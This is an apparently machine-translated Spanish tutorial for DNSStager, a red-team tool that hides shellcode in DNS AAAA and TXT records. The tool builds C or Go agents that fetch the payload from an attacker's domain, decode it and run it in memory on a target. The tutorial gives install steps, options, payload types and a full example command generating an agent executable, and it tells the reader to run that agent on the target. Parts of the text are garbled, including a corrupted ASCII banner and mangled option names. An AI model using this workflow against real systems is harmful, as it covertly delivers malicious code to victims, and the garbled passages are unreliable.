Tutoriales

¡Oculte su carga útil en el DNS! Kali Linux

DNSStager es un proyecto de código abierto basado en Python y se utiliza para ocultar y difundir su carga útil mediante DNS.

DNSStager crea un servidor DNS malicioso que procesa las solicitudes de DNS a su dominio y usa su carga útil en respuesta a ciertas solicitudes de registro, como AAAA o TXT Registros después de dividir en trozos y codificar la carga útil con diferentes algoritmos.

DNSStager puede generar un agente personalizado que se puede utilizar en. está escrito C o GoLang Eso resolverá una secuencia de dominios, recuperará la carga útil, la decodificará y finalmente la enviará a la memoria basándose en alguna técnica.

Puede editar el código del agente DNSStager como desee y crearlo utilizando sus propias técnicas de ejecución personalizadas.

El objetivo principal de usar DNSStager es ayudar a Red Teamers / Pentesters a implementar sus cargas útiles en un canal encubierto usando DNS.

¿Como funciona?

Según su opción de resolución de DNS, DNSStager dividirá su carga útil en secciones y almacenará cada sección de la carga útil como una respuesta para un subdominio.

Por ejemplo, si eliges IPV6 Como opción para obtener la carga útil, la respuesta de DNS es algo como:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

Dónde 5648:31d2:6548:8b52:6048:8b52:1848:8b52 es parte de su carga útil.

Entonces, el agente resolverá algunos dominios para obtener la carga útil, luego la decodificará y finalmente la guardará en la memoria.

Actualmente, DNSStager solo admite dos conjuntos de datos, AAAA y TXT. Puede XOR su carga útil para eso AAAA registro y base64 codificados de forma predeterminada si eliges TXT Grabación.

Características principales de DNSStager

DNSStager tiene algunas características importantes como:

  • Oculta y libera tu carga útil en formato. en IPV6 Registros.
  • Oculta y libera tu carga útil en formato. en TXT Registros.
  • Codificador XOR para codificar su carga útil.
  • Codificador Base64 para codificar sus datos de usuario (solo para entradas TXT).
  • Agente puro escrito en C con la posibilidad de personalizarlo.
  • Agente puro escrito en GoLang con la posibilidad de personalizarlo.
  • La capacidad de utilizar la hibernación entre cada solicitud de DNS.
  • ¡Y MUCHO MÁS POR VENIR!

requisito

Puede instalar los requisitos de Python para DNSStager a través de:

pip3 install -r requirements.txt

Necesitas instalar GoLang ejecución 1.16.3 y asegúrese de instalar lo siguiente GoLang Paquetes:

  • golang.org/x/sys
  • github.com/miekg/dns

Además, asegúrese de instalarlo ming-w64 sobre:

apt install mingw-w64

La secuencia de comandos setup.sh debería hacer eso por usted, ¡pero verifique dos veces los requisitos antes de usarlo!

instalación

Para obtener la última versión de DNSStager, debe clonarlo desde este repositorio usando el siguiente comando:

git clone https://github.com/mhaskar/DNSStager

Luego, debe instalar los requisitos con el siguiente comando:

pip3 install -r requirements.txt

Y asegúrese de instalar también todos los requisitos anteriores.

Una vez que haya hecho todo esto, estará listo para ejecutar DNSStager como la raíz para obtener lo siguiente:

┌─[[email protected]]─[/opt/redteaming/DNSStager]└──╼ $ sudo ./dnsstager.py
██████╗ºC ºC██████╗
██╔══██╗████╗██╔══██╗████╗ ██╔════╝██╔════╝
██║γ ██║γ
██║γ ██║γ
██████╔╝██║ºC ╚██████╔╝██████╗██║γ
╚═════╝ºC Elsius ╚═════╝
Versión Beta Oculte su carga útil en DNS
[-] Introduzca un nombre de dominio con –dominio. a

usar

Para comenzar a usar DNSStager, primero asegúrese de configurar su configuración de DNS. Debe apuntar su dominio a la instancia de DNSStager como un NS record para procesar todas las solicitudes de DNS a su dominio.

Puede leer este artículo completo sobre cómo configurar y usar DNSStager.

Y puedes comprobar las opciones con -h cambiar de la siguiente manera:

┌─[[email protected]]─[/opt/redteaming/DNSStager]└──╼ $ sudo ./dnsstager.py -h
Uso: dnsstager.py [-h] [–domain DOMAIN] [–payloads] [–prefix PREFIX][–payload PAYLOAD] [–output OUTPUT][–shellcode_path SHELLCODE_PATH] [–xorkey XORKEY][–sleep SLEEP]Analizador principal de DNSStager
argumentos opcionales:
-h, –help Muestra este mensaje de ayuda y sale
–Domain DOMAIN El dominio que desea utilizar como host de ensayo.
–Las cargas útiles muestran todas las cargas útiles
–Prefix PREFIX Prefijo que se utilizará como parte de su esquema de subdominio
–Payload PAYLOAD Carga útil que se utilizará, consulte –Cargas útiles para obtener más detalles
–Vía de salida del agente de salida OUTPUT
–Shellcode_path SHELLCODE_PATH
Ruta del archivo de Shellcode
–Clave Xorkey XORKEY XOR para cifrar su carga útil con
–Dormir SLEEP Dormir durante N segundos entre cada solicitud de DNS

  • –Dominio: puede utilizar esta opción para seleccionar el dominio principal para el que está manejando las consultas de DNS.
  • – Prefijo: el prefijo que desea utilizar para el esquema de subdominio. Por ejemplo, si su dominio principal fakedns.live Por ejemplo, puede especificar el prefijo como «cdn». Entonces, los dominios generados serán un patrón como este:
    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

Dónde N Este número generado automáticamente representa el número de fragmentos en su carga útil.

  • –Payload: el “agente” de la carga útil de DNSStager que desea generar en función de la tecnología, el lenguaje de programación y la arquitectura.
  • –Output: Ruta de salida para guardar el payload DNSStager ejecutable «Agent».
  • –Shellcode_path: usted raw/bin Ruta de código de shell.
  • –Xorkey: clave XOR para cifrar los datos del usuario.
  • –Sleep: se utiliza para dormir durante N segundos entre cada solicitud de DNS.

Cargas útiles de DNSStager

Para comprobar las cargas útiles de DNSStager disponibles, puede ./dnsstager.py --payloads para obtener los siguientes resultados:

┌─[[email protected]]─[/opt/redteaming/DNSStager]└──╼ $ sudo ./dnsstager.py –Payloads
[+] 6 cargas útiles de DNSStager disponibles
x64 / c / ipv6 Resuelva su carga útil como direcciones IPV6 xored con una clave personalizada sobre código x64 C compilado
x86 / c / ipv6 Resuelva su carga útil como direcciones IPv6 xored con una clave personalizada sobre código x86 C compilado
x64 / golang / txt Resuelva su carga útil como registros TXT codificados con código GoLang x64 compilado en base64
x64 / golang / ipv6 Resuelva su carga útil como direcciones IPv6 codificadas con una clave personalizada utilizando codificación de adición de bytes sobre el código GoLang x64 compilado
x86 / golang / txt Resuelva su carga útil como registros TXT codificados con código GoLang x86 compilado en base64
x86 / golang / ipv6 Resuelva su carga útil como direcciones IPV6 codificadas con una clave personalizada utilizando codificación de adición de bytes sobre el código GoLang x86 compilado

Ejemplo de uso de DNSStager con IPv6

Este ejemplo inicia DNSStager para resolver su carga útil como un IPV6 usa el dominio test.mydnsserver.live con prefijo cloud-srv- compilado para generar x64 C Agente codificado con 0x10 como clave:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

Y la salida será:

Y para comprobar que todo está funcionando bien, enviamos una consulta de DNS a cloud-srv-0.test.mydnsserver.live para obtener lo siguiente:

Podemos ver que recibimos f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b en respuesta, que son los primeros 16 bytes de nuestra carga útil codificada.

Entonces puedes ejecutar el agente /tmp/a2.exe (como se especifica en el uso de –output en la línea de comando) en la computadora de destino y eso descargará los fragmentos necesarios, los decodificará y los guardará en la memoria por usted.

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba